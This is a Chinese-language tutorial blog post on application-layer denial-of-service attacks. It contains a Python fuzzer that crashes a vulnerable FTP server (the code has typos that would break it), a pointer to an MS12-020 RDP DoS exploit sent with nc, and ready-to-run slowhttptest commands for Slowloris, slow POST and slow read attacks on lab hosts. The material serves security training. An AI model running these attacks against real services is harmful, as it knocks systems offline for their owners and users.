• 应用层DoS


    概念

    应用服务漏洞

    ● 服务代码存在漏洞,遇异常提交数据时程序崩溃
    ● 应用处理大量并发请求能力有限,被拒绝的是应用或OS

    缓冲区溢出漏洞

    ● 向目标函数随机提交数据,特定情况下数据覆盖临近寄存器或内存
    ● 影响:远程代码执行、DoS
    ● 利用模糊测试方法发现缓冲区溢出漏洞

    CesarFTP 0.99 服务漏洞

    # ftp_fuzz.py        #MKD/RMD
    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    import socket
    import sys
    if len(sys.argv) != 6:
     print ("用法: ./ftp_fuzz.py [目标IP] [目标端口] [载荷] [步长] [最大长度]")
     print ("举例:./ftp_fuzz.py 1.1.1.1 21 A 100 1000")
    ip = str(sys.argv[1])
    port = int(sys.argv[2])
    char = sys.argv[3]
    i = int(sys.argv[4])
    step = int(sys.argv[4])
    max = int(sys.argv[5])
    user = raw_input(str("FTP账号: "))
    passwd = raw_input(str("FTP密码: "))
    command = raw_input(str("FTP命令: "))
    while i <= max:
     try:
      payload = command + " " + (char * i)
      print ("已发送" + str(i) + "个 (" + char + ")")
      s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      connect=s.connect((ip,port))
      s.recv(2014)
      s.send('USER' + user + '\r\n')
      s.recv(2014)
      s.send('PASS' + passwd + '\r\n')
      s.recv(2014)
      s.send(payload + '\r\n')
      s.sned('QUIT\r\n')
      s.recv(2014)
      s.close()
      i = i + step
     except:
      pirnt ("\n服务已崩溃")
      sys.exit()
      print ("\n未发现缓冲区溢出漏洞")
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • Ms12-020远程桌面协议DoS漏洞

    在这里插入图片描述

    • 利用代码(查看上图的path路径)

    在这里插入图片描述

    • 根据提示将termdd_1.dat用NC 传入受害设备即可

    Slowhttptest(源自google)

    ● 低带宽应用层慢速DoS攻击(相对于CC等快速攻击而言的慢速)
    ● 最早由Python编写,跨平台支持(Linux、win、Cygwin、OSX)
    ● 尤其擅长攻击apache、tomcat

    攻击方法

    ● Slowloris、Slow HTTP POST攻击
    ○ 耗尽应用的并发连接池,类似于Http层的Syn flood
    ○ HTTP协议默认在服务器全部接收请求之后才开始处理,若客户端发送速度缓慢或不完整,服务器时钟为其保留连接资源池占用,此类大量并发将导致DoS
    ○ Slowloris:完整的http请求结尾是\r\n\r\n,攻击发\r\n。。。。
    ○ Slow POST:HTTP头content-length声明长度,但body部分缓慢发送
    ● Slow Read attack攻击
    ○ 与slowloris and slow POST目的相同,都是耗尽应用的并发连接池
    ○ 不同之处在于请求正常请求,但慢速读取想用数据
    ○ 攻击者调整TCP window窗口大小,是服务器慢速返回数据
    ● Apache Range Header attack
    ○ 客户端传输大文件时,体积超过HTTP Body大小限制时进行分段
    ○ 耗尽服务器CPU、内存资源

    实战:

    攻击机器为kali,受害机器为metasploit

    slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u http://192.168.0.123 -x 24 -p 3 
    
    -r  每次建立多少连接
    
    • 1
    • 2
    • 3

    在这里插入图片描述
    显示服务不可用

    slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://192.168.0.119 -x 10 -p 3
    
      -c为最大链接数
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://192.168.0.119
    
    • 1

    在这里插入图片描述

    ulimit -n 70000
      默认情况下kali只能同时处理1024个文件,可以通过上述命令修改
    
    • 1
    • 2

    ● 支持代理
    ● 大量应用服务器和安全设备无法防护慢速攻击

    • 可以用man查看下一使用文档
      在这里插入图片描述

    炸邮箱

    • 使用垃圾邮件塞满邮箱

    无意识的/非故意的拒绝服务攻击

    ● 数据库服务器宕机恢复厚,引用队列大量请求洪水涌来
    ● 告警邮件在邮件服务器修改地址后洪水攻击防火墙

  • 相关阅读:
    什么是容器?容器有什么作用?
    【hadoop】Hadoop 面试题总结
    Cesium 展示——加载文件汇总中
    WebGPU入门
    【产线故障】线上接口请求过慢如何排查?
    python的列表
    Spring之AOP
    golang小案例获取命令行的的参数并求得最大值
    QWidget | Qt::WindowType 枚举的取值及意义&QFlags 模板类详解
    java泛型详解
  • 原文地址:https://blog.csdn.net/weixin_42952508/article/details/127800102